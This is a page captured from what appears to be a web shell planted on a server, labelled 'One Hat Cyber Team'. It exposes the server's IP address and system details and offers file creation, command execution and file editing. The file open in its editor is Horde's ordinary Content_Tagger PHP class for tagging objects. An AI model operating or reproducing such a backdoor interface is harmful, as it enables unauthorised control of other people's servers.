⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.50
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
content
/
lib
/
Edit File: Tagger.php
<?php /** * Copyright 2008-2017 Horde LLC (http://www.horde.org/) * * @author Chuck Hagenbuch <chuck@horde.org> * @author Michael J. Rubinsky <mrubinsk@horde.org> * @license http://www.horde.org/licenses/bsd BSD * @category Horde * @package Horde_Content * * References: * http://forge.mysql.com/wiki/TagSchema * http://www.slideshare.net/edbond/tagging-and-folksonomy-schema-design-for-scalability-and-performance * http://blog.thinkphp.de/archives/124-An-alternative-Approach-to-Tagging.html * http://code.google.com/p/freetag/ * * @TODO: * need to add type_id to the rampage_tagged table for performance? * need stat tables by type_id? * * Potential features: * Infer data from combined tags (capital + washington d.c. - http://www.slideshare.net/kakul/tagging-web-2-expo-2008/) * Normalize tag text (http://tagsonomy.com/index.php/interview-with-gordon-luk-freetag/) */ class Content_Tagger { /** * Database connection * @var Horde_Db_Adapter */ protected $_db; /** * Tables * @var array */ protected $_tables = array( 'tags' => 'rampage_tags', 'tagged' => 'rampage_tagged', 'objects' => 'rampage_objects', 'tag_stats' => 'rampage_tag_stats', 'user_tag_stats' => 'rampage_user_tag_stats', 'users' => 'rampage_users', 'types' => 'rampage_types', ); /** * User manager object * @var Content_Users_Manager */ protected $_userManager; /** * Type management object * @var Content_Types_Manager */ protected $_typeManager; /** * Object manager * @var Content_Objects_Manager */ protected $_objectManager; /** * Default radius for relationship queries. * @var integer */ protected $_defaultRadius = 10; /** * Constructor */ public function __construct(Horde_Db_Adapter $db, Content_Users_Manager $userManager, Content_Types_Manager $typeManager, Content_Objects_Manager $objectManager) { $this->_db = $db; $this->_userManager = $userManager; $this->_typeManager = $typeManager; $this->_objectManager = $objectManager; } /** * Adds a tag or several tags to an object_id. This method does not * remove other tags. * * @param mixed $userId The user tagging the object. * @param mixed $objectId The object id to tag or an array containing * the object_name and type. * @param array $tags An array of tag name or ids. * @param Horde_Date $created The datetime of the tagging operation. * * @return void */ public function tag($userId, $objectId, $tags, Horde_Date $created = null) { if (is_null($created)) { $created = date('Y-m-d H:i:s'); } else { $created = $created->format('Y-m-d H:i:s'); } // Make sure the object exists $objectId = $this->_ensureObject($objectId); // Validate/ensure the parameters $userId = current($this->_userManager->ensureUsers($userId)); foreach ($this->ensureTags($tags) as $tagId) { if (!$this->_db->selectValue('SELECT 1 from ' . $this->_t('tagged') . ' WHERE user_id = ? AND object_id = ? AND tag_id = ?', array((int)$userId, (int)$objectId, (int)$tagId))) { try { $this->_db->insert( 'INSERT INTO ' . $this->_t('tagged') . ' (user_id, object_id, tag_id, created) VALUES (?, ?, ?, ?)', array((int)$userId, (int)$objectId, (int)$tagId, $created)); } catch (Horde_Db_Exception $e) { throw new Content_Exception($e); } // increment tag stats if (!$this->_db->update('UPDATE ' . $this->_t('tag_stats') . ' SET count = count + 1 WHERE tag_id = ' . (int)$tagId)) { $this->_db->insert('INSERT INTO ' . $this->_t('tag_stats') . ' (tag_id, count) VALUES (' . (int)$tagId . ', 1)', null, null, 'tag_id', $tagId); } // increment user-tag stats if (!$this->_db->update('UPDATE ' . $this->_t('user_tag_stats') . ' SET count = count + 1 WHERE user_id = ' . (int)$userId . ' AND tag_id = ' . (int)$tagId)) { $this->_db->insert('INSERT INTO ' . $this->_t('user_tag_stats') . ' (user_id, tag_id, count) VALUES (' . (int)$userId . ', ' . (int)$tagId . ', 1)'); } } } } /** * Undo a user's tagging of an object. * * @param mixed $userId The user who tagged the object. * @param mixed $objectId The object to remove the tag from. * @param array $tags An array of tag name or ids to remove. */ public function untag($userId, $objectId, $tags) { // Ensure parameters $userId = current($this->_userManager->ensureUsers($userId)); $objectId = $this->_ensureObject($objectId); foreach ($this->ensureTags($tags) as $tagId) { if ($this->_db->delete('DELETE FROM ' . $this->_t('tagged') . ' WHERE user_id = ? AND object_id = ? AND tag_id = ?', array($userId, $objectId, $tagId))) { $this->_db->update('UPDATE ' . $this->_t('tag_stats') . ' SET count = count - 1 WHERE tag_id = ?', array($tagId)); $this->_db->update('UPDATE ' . $this->_t('user_tag_stats') . ' SET count = count - 1 WHERE user_id = ? AND tag_id = ?', array($userId, $tagId)); } } // Cleanup $this->_db->delete('DELETE FROM ' . $this->_t('tag_stats') . ' WHERE count = 0'); $this->_db->delete('DELETE FROM ' . $this->_t('user_tag_stats') . ' WHERE count = 0'); } /** * Remove all occurrences of a specific tag from an object regardless of * the username who tagged the object originally. * * @param mixed $obejctId The object identifier @see Content_Tagger::tag() * @param mixed $tags The tags to remove. @see Content_Tagger::tag() * * @return void */ public function removeTagFromObject($objectId, $tags) { $objectId = $this->_ensureObject($objectId); if (!is_array($tags)) { $tags = array($tags); } foreach ($this->ensureTags($tags) as $tagId) { // Get the users who have tagged this so we can update the stats $users = $this->_db->selectValues('SELECT user_id, tag_id FROM ' . $this->_t('tagged') . ' WHERE object_id = ? AND tag_id = ?', array($objectId, $tagId)); // Delete the tags if ($this->_db->delete('DELETE FROM ' . $this->_t('tagged') . ' WHERE object_id = ? AND tag_id = ?', array($objectId, $tagId))) { // Update the stats $this->_db->update('UPDATE ' . $this->_t('tag_stats') . ' SET count = count - ' . count($users) . ' WHERE tag_id = ?', array($tagId)); $this->_db->update('UPDATE ' . $this->_t('user_tag_stats') . ' SET count = count - 1 WHERE user_id IN(' . str_repeat('?, ', count($users) - 1) . '?) AND tag_id = ?', array_merge($users, array($tagId))); // Housekeeping $this->_db->delete('DELETE FROM ' . $this->_t('tag_stats') . ' WHERE count = 0'); $this->_db->delete('DELETE FROM ' . $this->_t('user_tag_stats') . ' WHERE count = 0'); } } } /** * Obtain all the tags for a given set of objects. * * @param mixed string|array $objects A local object id or an array of * local object id strings. * @param mixed $type Either a string type description, or * an integer content type_id * * @return array An array in the form of: * <pre> * array('localobjectId' => array('tagone', 'tagtwo'), * 'anotherobjectid' => array('anothertag', 'yetanother')) * </pre> */ public function getTagsByObjects($objects, $type) { $object_ids = $this->_objectManager->exists($objects, $type); $results = array(); if (!$object_ids) { foreach ($objects as $id) { $results[$id] = array(); } } else { $sql = 'SELECT DISTINCT tag_name, tagged.object_id FROM ' . $this->_t('tags') . ' t INNER JOIN ' . $this->_t('tagged') . ' tagged ON t.tag_id = tagged.tag_id AND tagged.object_id IN (' . str_repeat('?,', count($object_ids) - 1) . '?)'; $tags = $this->_db->selectAll($sql, array_keys($object_ids)); foreach ($tags as $tag) { if (empty($results[$object_ids[$tag['object_id']]])) { $results[$object_ids[$tag['object_id']]] = array(); } $results[$object_ids[$tag['object_id']]][] = $tag['tag_name']; } } return $results; } /** * Retrieve tags based on criteria. * * @param array $args Search criteria: * q Starts-with search on tag_name. * limit Maximum number of tags to return. * offset Offset the results. Only useful for paginating, and not recommended. * userId Only return tags that have been applied by a specific user. * typeId Only return tags that have been applied by a specific object type. * objectId Only return tags that have been applied to a specific object. * * @return array An array of tags, id => name. */ public function getTags($args) { if (isset($args['objectId'])) { // Don't create the object just because we're trying to load an // objects's tags - just check if the object is there. Assume if we // have an integer, it's a valid object_id. if (is_array($args['objectId'])) { $args['objectId'] = $this->_objectManager->exists($args['objectId']['object'], $args['objectId']['type']); if ($args['objectId']) { $args['objectId'] = current(array_keys($args['objectId'])); } } if (!$args['objectId']) { return array(); } $sql = 'SELECT DISTINCT t.tag_id AS tag_id, tag_name FROM ' . $this->_t('tags') . ' t INNER JOIN ' . $this->_t('tagged') . ' tagged ON t.tag_id = tagged.tag_id AND tagged.object_id = ' . (int)$args['objectId']; } elseif (isset($args['userId']) && isset($args['typeId'])) { $args['userId'] = current($this->_userManager->ensureUsers($args['userId'])); $args['typeId'] = current($this->_typeManager->ensureTypes($args['typeId'])); $sql = 'SELECT DISTINCT t.tag_id AS tag_id, tag_name FROM ' . $this->_t('tags') . ' t INNER JOIN ' . $this->_t('tagged') . ' tagged ON t.tag_id = tagged.tag_id AND tagged.user_id = ' . (int)$args['userId'] . ' INNER JOIN ' . $this->_t('objects') . ' objects ON tagged.object_id = objects.object_id AND objects.type_id = ' . (int)$args['typeId']; } elseif (isset($args['userId'])) { $args['userId'] = current($this->_userManager->ensureUsers($args['userId'])); $sql = 'SELECT DISTINCT t.tag_id AS tag_id, tag_name FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('tags') . ' t ON tagged.tag_id = t.tag_id WHERE tagged.user_id = ' . (int)$args['userId']; $haveWhere = true; } elseif (isset($args['typeId'])) { $args['typeId'] = current($this->_typeManager->ensureTypes($args['typeId'])); $sql = 'SELECT DISTINCT t.tag_id AS tag_id, tag_name FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('objects') . ' objects ON tagged.object_id = objects.object_id AND objects.type_id = ' . (int)$args['typeId'] . ' INNER JOIN ' . $this->_t('tags') . ' t ON tagged.tag_id = t.tag_id'; } elseif (isset($args['tagId'])) { $radius = isset($args['limit']) ? (int)$args['limit'] : $this->_defaultRadius; unset($args['limit']); $inner = $this->_db->addLimitOffset('SELECT object_id FROM ' . $this->_t('tagged') . ' WHERE tag_id = ' . (int)$args['tagId'], array('limit' => $radius)); $sql = $this->_db->addLimitOffset('SELECT DISTINCT tagged2.tag_id AS tag_id, tag_name FROM (' . $inner . ') tagged1 INNER JOIN ' . $this->_t('tagged') . ' tagged2 ON tagged1.object_id = tagged2.object_id INNER JOIN ' . $this->_t('tags') . ' t ON tagged2.tag_id = t.tag_id', array('limit' => $args['limit'])); } else { $sql = 'SELECT DISTINCT t.tag_id, tag_name FROM ' . $this->_t('tags') . ' t JOIN ' . $this->_t('tagged') . ' tagged ON t.tag_id = tagged.tag_id'; } if (isset($args['q']) && strlen($args['q'])) { // @TODO tossing a where clause in won't work with all query modes $sql .= (!empty($haveWhere) ? ' AND' : ' WHERE') . ' tag_name LIKE ' . $this->_db->quoteString($args['q'] . '%'); } if (isset($args['limit'])) { $sql = $this->_db->addLimitOffset($sql, array('limit' => $args['limit'], 'offset' => isset($args['offset']) ? $args['offset'] : 0)); } return $this->_db->selectAssoc($sql); } /** * Generate a tag cloud. Same syntax as getTags, except that fetching a * cloud for a userId + objectId combination doesn't make sense - the counts * would all be one. In addition, this method returns counts for each tag. * * @param array $args Search criteria: * - limit: (integer) Maximum number of tags to return. * - offset: (integet) Offset the results. Only useful for paginating, and * not recommended. * - userId: (string) Only return tags that have been applied by a * specific user. * - typeId: (array) Only return tags that have been applied by specific * object types. * - objectId: (array) Only return tags that have been applied to specific * objects all objects must be of the same type and * specified by typeId. * - tagIds: (array) Only return information on specific tag * (an array of tag ids). * * @return array An array of hashes, each containing tag_id, tag_name, and count. */ public function getTagCloud($args = array()) { if (isset($args['objectId'])) { if (empty($args['typeId'])) { throw new Content_Exception('Specified objectId, but failed to specify typeId for getTagCloud call.'); } $args['objectId'] = $this->_objectManager->ensureObjects($args['objectId'], $args['typeId']); $sql = 'SELECT t.tag_id AS tag_id, tag_name, COUNT(*) AS count FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('tags') . ' t ON tagged.tag_id = t.tag_id WHERE tagged.object_id IN (' . implode(',', $args['objectId']) . ') GROUP BY t.tag_id, t.tag_name'; } elseif (isset($args['userId']) && isset($args['typeId'])) { $args['userId'] = current($this->_userManager->ensureUsers($args['userId'])); $args['typeId'] = $this->_typeManager->ensureTypes($args['typeId']); // This doesn't use a stat table, so may be slow. $sql = 'SELECT t.tag_id AS tag_id, tag_name, COUNT(*) AS count FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('objects') . ' objects ON tagged.object_id = objects.object_id AND objects.type_id IN (' . implode(',', $args['typeId']) . ') INNER JOIN ' . $this->_t('tags') . ' t ON tagged.tag_id = t.tag_id WHERE tagged.user_id = ' . (int)$args['userId'] . ' GROUP BY t.tag_id, t.tag_name'; } elseif (isset($args['userId'])) { $args['userId'] = current($this->_userManager->ensureUsers($args['userId'])); $sql = 'SELECT t.tag_id AS tag_id, tag_name, count FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('tags') . ' t ON tagged.tag_id = t.tag_id INNER JOIN ' . $this->_t('user_tag_stats') . ' uts ON t.tag_id = uts.tag_id AND uts.user_id = ' . (int)$args['userId'] . ' GROUP BY t.tag_id, tag_name, count'; } elseif (isset($args['tagIds']) && isset($args['typeId'])) { $args['typeId'] = $this->_typeManager->ensureTypes($args['typeId']); // This doesn't use a stat table, so may be slow. $sql = 'SELECT t.tag_id AS tag_id, tag_name, COUNT(*) AS count FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('objects') . ' objects ON tagged.object_id = objects.object_id AND objects.type_id IN(' . implode(',', $args['typeId']) . ') INNER JOIN ' . $this->_t('tags') . ' t ON tagged.tag_id = t.tag_id AND t.tag_id IN (' . implode(', ', $args['tagIds']) . ') GROUP BY t.tag_id, t.tag_name'; } elseif (isset($args['typeId'])) { $args['typeId'] = $this->_typeManager->ensureTypes($args['typeId']); // This doesn't use a stat table, so may be slow. $sql = 'SELECT t.tag_id AS tag_id, tag_name, COUNT(*) AS count FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('objects') . ' objects ON tagged.object_id = objects.object_id AND objects.type_id IN(' . implode(',', $args['typeId']) . ') INNER JOIN ' . $this->_t('tags') . ' t ON tagged.tag_id = t.tag_id GROUP BY t.tag_id, t.tag_name'; } elseif (isset($args['tagIds'])) { $ids = $this->_checkTags($args['tagIds'], false); $sql = 'SELECT t.tag_id AS tag_id, tag_name, COUNT(*) AS count FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('tags') . ' t ON tagged.tag_id = t.tag_id INNER JOIN ' . $this->_t('tag_stats') . ' ts ON t.tag_id = ts.tag_id WHERE t.tag_id IN (' . implode(', ', $ids) . ') GROUP BY t.tag_id, t.tag_name'; } else { $sql = 'SELECT t.tag_id AS tag_id, tag_name, COUNT(*) AS count FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('tags') . ' t ON tagged.tag_id = t.tag_id INNER JOIN ' . $this->_t('tag_stats') . ' ts ON t.tag_id = ts.tag_id GROUP BY t.tag_id, t.tag_name'; } if (isset($args['limit'])) { $sql = $this->_db->addLimitOffset($sql . ' ORDER BY count DESC', array('limit' => $args['limit'], 'offset' => isset($args['offset']) ? $args['offset'] : 0)); } try { $rows = $this->_db->selectAll($sql); $results = array(); foreach ($rows as $row) { $results[$row['tag_id']] = $row; } return $results; } catch (Exception $e) { throw new Content_Exception($e); } } /** * Get the most recently used tags. * * @param array $args Search criteria: * limit Maximum number of tags to return. * offset Offset the results. Only useful for paginating, and not recommended. * userId Only return tags that have been used by a specific user. * typeId Only return tags applied to objects of a specific type. * * @return array */ public function getRecentTags($args = array()) { $sql = 'SELECT tagged.tag_id AS tag_id, tag_name, MAX(created) AS created FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('tags') . ' t ON tagged.tag_id = t.tag_id'; if (isset($args['typeId'])) { $args['typeId'] = current($this->_typeManager->ensureTypes($args['typeId'])); $sql .= ' INNER JOIN ' . $this->_t('objects') . ' objects ON tagged.object_id = objects.object_id AND objects.type_id = ' . (int)$args['typeId']; } if (isset($args['userId'])) { $args['userId'] = current($this->_userManager->ensureUsers($args['userId'])); $sql .= ' WHERE tagged.user_id = ' . (int)$args['userId']; } $sql .= ' GROUP BY tagged.tag_id, tag_name ORDER BY created DESC'; if (isset($args['limit'])) { $sql = $this->_db->addLimitOffset($sql, array('limit' => $args['limit'], 'offset' => isset($args['offset']) ? $args['offset'] : 0)); } return $this->_db->selectAll($sql); } /** * Get objects matching search criteria. * * @param array $args Search criteria: * limit Maximum number of objects to return. * offset Offset the results. Only useful for paginating, and not recommended. * tagId Return objects related through one or more tags. * notTagId Don't return objects tagged with one or more tags. * typeId Only return objects with a specific type. * objectId Return objects with the same tags as $objectId. * userId Limit results to objects tagged by a specific user. * radius Radius setting for relationship queries e.g., objectId * * @return array An array of object ids. */ public function getObjects($args) { if (isset($args['objectId'])) { if (is_array($args['objectId'])) { $args['objectId'] = current($this->_objectManager->ensureObjects( $args['objectId']['object'], $args['objectId']['type'])); } $radius = isset($args['radius']) ? (int)$args['radius'] : $this->_defaultRadius; $inner = $this->_db->addLimitOffset( 'SELECT tag_id, object_id FROM ' . $this->_t('tagged') . ' WHERE object_id = ' . (int)$args['objectId'], array('limit' => $radius)); $sql = 'SELECT t2.object_id AS object_id, object_name FROM (' . $inner . ') t1 INNER JOIN ' . $this->_t('tagged') . ' t2 ON t1.tag_id = t2.tag_id INNER JOIN ' . $this->_t('objects') . ' objects ON objects.object_id = t2.object_id WHERE t2.object_id != ' . (int)$args['objectId'] . ' GROUP BY t2.object_id, object_name'; if (!empty($args['limit'])) { $sql = $this->_db->addLimitOffset($sql, $args['limit']); } } elseif (isset($args['tagId'])) { $tags = is_array($args['tagId']) ? array_values($args['tagId']) : array($args['tagId']); $count = count($tags); if (!$count) { return array(); } $notTags = isset($args['notTagId']) ? (is_array($args['notTagId']) ? array_values($args['notTagId']) : array($args['notTagId'])) : array(); $notCount = count($notTags); $sql = 'SELECT DISTINCT tagged.object_id AS object_id, object_name FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('objects') . ' objects ON objects.object_id = tagged.object_id'; if (!empty($args['typeId'])) { $args['typeId'] = $this->_typeManager->ensureTypes($args['typeId']); } if ($count > 1) { for ($i = 1; $i < $count; $i++) { $sql .= ' INNER JOIN ' . $this->_t('tagged') . ' tagged' . $i . ' ON tagged.object_id = tagged' . $i . '.object_id'; } } if ($notCount) { // Left joins for tags we want to exclude. for ($j = 0; $j < $notCount; $j++) { $sql .= ' LEFT JOIN ' . $this->_t('tagged') . ' not_tagged' . $j . ' ON tagged.object_id = not_tagged' . $j . '.object_id AND not_tagged' . $j . '.tag_id = ' . (int)$notTags[$j]; } } $sql .= ' WHERE tagged.tag_id = ' . (int)$tags[0]; if ($count > 1) { for ($i = 1; $i < $count; $i++) { $sql .= ' AND tagged' . $i . '.tag_id = ' . (int)$tags[$i]; } } if ($notCount) { for ($j = 0; $j < $notCount; $j++) { $sql .= ' AND not_tagged' . $j . '.object_id IS NULL'; } } if (!empty($args['typeId']) && count($args['typeId'])) { $sql .= ' AND objects.type_id IN (' . implode(', ', $args['typeId']) . ')'; } if (array_key_exists('userId', $args)) { $args['userId'] = $this->_userManager->ensureUsers($args['userId']); $sql .= ' AND tagged.user_id IN (' . implode(', ', $args['userId']) . ')'; } } if (isset($args['limit'])) { $sql = $this->_db->addLimitOffset($sql, array('limit' => $args['limit'], 'offset' => isset($args['offset']) ? $args['offset'] : 0)); } return $this->_db->selectAssoc($sql); } /** * Return objects related to the given object via tags, along with a * similarity rank. * * @param mixed $object_id The object to find relations for. * @param array $args * limit Maximum number of objects to return (default 10). * userId Only return objects that have been tagged by a specific user. * typeId Only return objects of a specific type. * threshold Number of tags-in-common objects must have to match (default 1). * * @return array An array of (client) object ids => similarity rank */ public function getSimilarObjects($object_id, array $args = array()) { $defaults = array('limit' => 10, 'threshold' => 1); $args = array_merge($defaults, $args); if (is_array($object_id)) { $object_id = $this->_objectManager->exists($object_id['object'], $object_id['type']); if (!$object_id) { return array(); } $object_id = current(array_keys($object_id)); } elseif (!is_int($object_id)) { throw new InvalidArgumentException(_("Missing or invalid object type parameter.")); } $threshold = intval($args['threshold']); $max_objects = intval($args['limit']); if (!isset($object_id) || !($object_id > 0)) { return array(); } if ($threshold <= 0 || $max_objects <= 0) { return array(); } /* Get the object's tags */ $tagObjects = $this->getTags(array('objectId' => $object_id)); $tagArray = array_keys($tagObjects); $numTags = count($tagArray); if ($numTags == 0) { return array(); // Return empty set of matches } $sql = 'SELECT objects.object_name, COUNT(matches.object_id) AS num_common_tags FROM ' . $this->_t('tagged') . ' matches INNER JOIN ' . $this->_t('tags') . ' tags ON (tags.tag_id = matches.tag_id)'; if (!empty($args['userId'])) { $sql .= ' INNER JOIN ' . $this->_t('users') . ' users ON users.user_id = matches.user_id AND users.user_name = ' . $this->_db->quoteString($args['userId']); } $sql .= ' INNER JOIN ' . $this->_t('objects') . ' objects ON objects.object_id = matches.object_id'; if (!empty($args['typeId'])) { $sql .= ' INNER JOIN ' . $this->_t('types') . ' types ON types.type_id=objects.type_id AND types.type_name = ' . $this->_db->quoteString($args['typeId']); } $sql .= ' WHERE tags.tag_id IN (' . implode(',', $tagArray) . ') AND matches.object_id <> ' . (int)$object_id .' GROUP BY objects.object_name HAVING COUNT(matches.object_id) >= ' . $threshold . ' ORDER BY num_common_tags DESC'; $sql = $this->_db->addLimitOffset($sql, array('limit' => $max_objects)); try { return $this->_db->selectAssoc($sql); } catch (Horde_Db_Exception $e) { throw new Content_Exception($e); } } /** * Get the most recently tagged objects. * * @param array $args Search criteria: * limit Maximum number of objects to return. * offset Offset the results. Only useful for paginating, and not recommended. * userId Only return objects that have been tagged by a specific user. * typeId Only return objects of a specific object type. * * @return array */ public function getRecentObjects($args = array()) { $sql = 'SELECT tagged.object_id AS object_id, MAX(created) AS created FROM ' . $this->_t('tagged') . ' tagged'; if (isset($args['typeId'])) { $args['typeId'] = current($this->_typeManager->ensureTypes($args['typeId'])); $sql .= ' INNER JOIN ' . $this->_t('objects') . ' objects ON tagged.object_id = objects.object_id AND objects.type_id = ' . (int)$args['typeId']; } if (isset($args['userId'])) { $args['userId'] = current($this->_userManager->ensureUsers($args['userId'])); $sql .= ' WHERE tagged.user_id = ' . (int)$args['userId']; } $sql .= ' GROUP BY tagged.object_id ORDER BY created DESC'; if (isset($args['limit'])) { $sql = $this->_db->addLimitOffset($sql, array('limit' => $args['limit'], 'offset' => isset($args['offset']) ? $args['offset'] : 0)); } return $this->_db->selectAll($sql); } /** * Find users through objects, tags, or other users. */ public function getUsers($args) { if (isset($args['objectId'])) { $args['objectId'] = $this->_ensureObject($args['objectId']); $sql = 'SELECT t.user_id, user_name FROM ' . $this->_t('tagged') . ' t INNER JOIN ' . $this->_t('users') . ' u ON t.user_id = u.user_id WHERE object_id = ' . (int)$args['objectId']; } elseif (isset($args['userId'])) { $args['userId'] = current($this->_userManager->ensureUsers($args['userId'])); $radius = isset($args['radius']) ? (int)$args['radius'] : $this->_defaultRadius; $sql = 'SELECT others.user_id, user_name FROM ' . $this->_t('tagged') . ' others INNER JOIN ' . $this->_t('users') . ' u ON u.user_id = others.user_id INNER JOIN (SELECT tag_id FROM ' . $this->_t('tagged') . ' WHERE user_id = ' . (int)$args['userId'] . ' GROUP BY tag_id HAVING COUNT(tag_id) >= ' . $radius . ') self ON others.tag_id = self.tag_id GROUP BY others.user_id'; } elseif (isset($args['tagId'])) { $tags = $this->ensureTags($args['tagId']); //$tags = is_array($args['tagId']) ? array_values($args['tagId']) : array($args['tagId']); $count = count($tags); if (!$count) { return array(); } $notTags = isset($args['notTagId']) ? (is_array($args['notTagId']) ? array_values($args['notTagId']) : array($args['notTagId'])) : array(); $notCount = count($notTags); $sql = 'SELECT DISTINCT tagged.user_id, user_name FROM ' . $this->_t('tagged') . ' tagged INNER JOIN ' . $this->_t('users') . ' u ON u.user_id = tagged.user_id '; if ($count > 1) { for ($i = 1; $i < $count; $i++) { $sql .= ' INNER JOIN ' . $this->_t('tagged') . ' tagged' . $i . ' ON tagged.user_id = tagged' . $i . '.user_id'; } } if ($notCount) { // Left joins for tags we want to exclude. for ($j = 0; $j < $notCount; $j++) { $sql .= ' LEFT JOIN ' . $this->_t('tagged') . ' not_tagged' . $j . ' ON tagged.user_id = not_tagged' . $j . '.user_id AND not_tagged' . $j . '.tag_id = ' . (int)$notTags[$j]; } } $sql .= ' WHERE tagged.tag_id = ' . (int)$tags[0]; if ($count > 1) { for ($i = 1; $i < $count; $i++) { $sql .= ' AND tagged' . $i . '.tag_id = ' . (int)$tags[$i]; } } if ($notCount) { for ($j = 0; $j < $notCount; $j++) { $sql .= ' AND not_tagged' . $j . '.user_id IS NULL'; } } } if (isset($args['limit'])) { $sql = $this->_db->addLimitOffset($sql, array('limit' => $args['limit'], 'offset' => isset($args['offset']) ? $args['offset'] : 0)); } return $this->_db->selectAssoc($sql); } /** * Get the users who have most recently tagged objects. * * @param array $args Search criteria: * limit Maximum number of users to return. * offset Offset the results. Only useful for paginating, and not recommended. * typeId Only return users who have tagged objects of a specific object type. * * @return array */ public function getRecentUsers($args = array()) { $sql = 'SELECT tagged.user_id AS user_id, MAX(created) AS created FROM ' . $this->_t('tagged') . ' tagged'; if (isset($args['typeId'])) { $args['typeId'] = current($this->_typeManager->ensureTypes($args['typeId'])); $sql .= ' INNER JOIN ' . $this->_t('objects') . ' objects ON tagged.object_id = objects.object_id AND objects.type_id = ' . (int)$args['typeId']; } $sql .= ' GROUP BY tagged.user_id ORDER BY created DESC'; if (isset($args['limit'])) { $sql = $this->_db->addLimitOffset($sql, array('limit' => $args['limit'], 'offset' => isset($args['offset']) ? $args['offset'] : 0)); } return $this->_db->selectAll($sql); } /** * Return users related to a given user along with a similarity rank. */ public function getSimilarUsers($args) { $args['userId'] = current($this->_userManager->ensureUsers($args['userId'])); $radius = isset($args['radius']) ? (int)$args['radius'] : $this->_defaultRadius; $sql = 'SELECT others.user_id, (others.count - self.count) AS rank FROM ' . $this->_t('user_tag_stats') . ' others INNER JOIN (SELECT tag_id, count FROM ' . $this->_t('user_tag_stats') . ' WHERE user_id = ' . (int)$args['userId'] . ' AND count >= ' . $radius . ') self ON others.tag_id = self.tag_id ORDER BY rank DESC'; if (isset($args['limit'])) { $sql = $this->_db->addLimitOffset($sql, array('limit' => $args['limit'])); } return $this->_db->selectAssoc($sql); } /** * Check if tags exists, optionally create them if they don't and return ids * for all that exist (including those that are optionally created). * * @param string|array $tags The tag names to check. * @param boolean $create If true, create the tag in the tags table. * * @return array A hash of tag_name => tag_id values. */ protected function _checkTags($tags, $create = true) { if (empty($tags)) { return array(); } if (!is_array($tags)) { $tags = is_int($tags) ? array($tags) : $this->splitTags($tags); } $tagIds = array(); // Anything already typed as an integer is assumed to be a tag id. foreach ($tags as $tag) { if (is_int($tag)) { $tagIds[$tag] = $tag; continue; } // Don't attempt to tag with an empty value if (!strlen(trim($tag))) { continue; } // Get the ids for any tags that already exist. $sql = 'SELECT tag_id FROM ' . $this->_t('tags') . ' WHERE LOWER(tag_name) = LOWER(' . $this->toDriver($tag) . ')'; if ($id = $this->_db->selectValue($sql)) { $tagIds[$tag] = (int)$id; } elseif ($create) { // Create any tags that didn't already exist $tagIds[$tag] = (int)$this->_db->insert('INSERT INTO ' . $this->_t('tags') . ' (tag_name) VALUES (' . $this->toDriver($tag) . ')'); } } return $tagIds; } /** * Ensure that an array of tags exist, create any that don't, and * return ids for all of them. * * @param array $tags Array of tag names or ids. * * @return array Hash of tag_name => tag_id values. */ public function ensureTags($tags) { return $this->_checkTags($tags); } /** * */ public function getTagIds($tags) { return $this->_checkTags($tags, false); } /** * Split a string into an array of tag names, respecting tags with spaces * and ones that are quoted in some way. For example: * this, "somecompany, llc", "and ""this"" w,o.rks", foo bar * * Would parse to: * array('this', 'somecompany, llc', 'and "this" w,o.rks', 'foo bar') * * @param string $text String to split into 1 or more tags. * * @return array Split tag array. */ public function splitTags($text) { // From http://drupal.org/project/community_tags $regexp = '%(?:^|,\ *)("(?>[^"]*)(?>""[^"]* )*"|(?: [^",]*))%x'; preg_match_all($regexp, $text, $matches); $tags = array(); foreach (array_unique($matches[1]) as $tag) { // Remove escape codes $tag = trim(str_replace('""', '"', preg_replace('/^"(.*)"$/', '\1', $tag))); if (strlen($tag)) { $tags[] = $tag; } } return $tags; } /** * Retrieve a set of tags with relationships to the specified set * of tags. * * @param array $ids An array of tag_ids. * @param integer $object The object type to limit to. * @param string $user The user to limit to. * * @return array A hash of tag_id -> tag_name */ public function browseTags($ids, $object_type, $user) { if (!count($ids)) { return array(); } $sql = 'SELECT DISTINCT t.tag_id, t.tag_name FROM ' . $this->_t('tagged') . ' as r, ' . $this->_t('objects') . ' as i, ' . $this->_t('tags') . ' as t'; for ($i = 0; $i < count($ids); $i++) { $sql .= ',' . $this->_t('tagged') . ' as r' . $i; } $sql .= ' WHERE r.tag_id = t.tag_id AND r.object_id = i.object_id'; for ($i = 0; $i < count($ids); $i++) { $sql .= ' AND r' . $i . '.object_id = r.object_id AND r.tag_id != ' . (int)$ids[$i] . ' AND r' . $i . '.tag_id = ' . (int)$ids[$i]; } /* Note that we don't convertCharset here, it's done in listTagInfo */ $tags = $this->_db->selectAssoc($sql); foreach ($tags as $key => &$value) { $value = Horde_String::convertCharset($value, $this->_db->getOption('charset'), 'UTF-8'); } return $tags; } /** * Convenience method - if $object is an array, it is taken as an array of * 'object' and 'type' to pass to objectManager::ensureObjects() if it's a * scalar value, it's taken as the object_id and simply returned. */ protected function _ensureObject($object) { if (is_array($object)) { $object = current($this->_objectManager->ensureObjects( $object['object'], (int)current($this->_typeManager->ensureTypes($object['type'])))); } return (int)$object; } /** * Shortcut for getting a table name. * * @param string $tableType * * @return string Configured table name. */ protected function _t($tableType) { return $this->_db->quoteTableName($this->_tables[$tableType]); } public function toDriver($value) { return $this->_db->quoteString(Horde_String::convertCharset($value, 'UTF-8', $this->_db->getOption('charset'))); } }
Simpan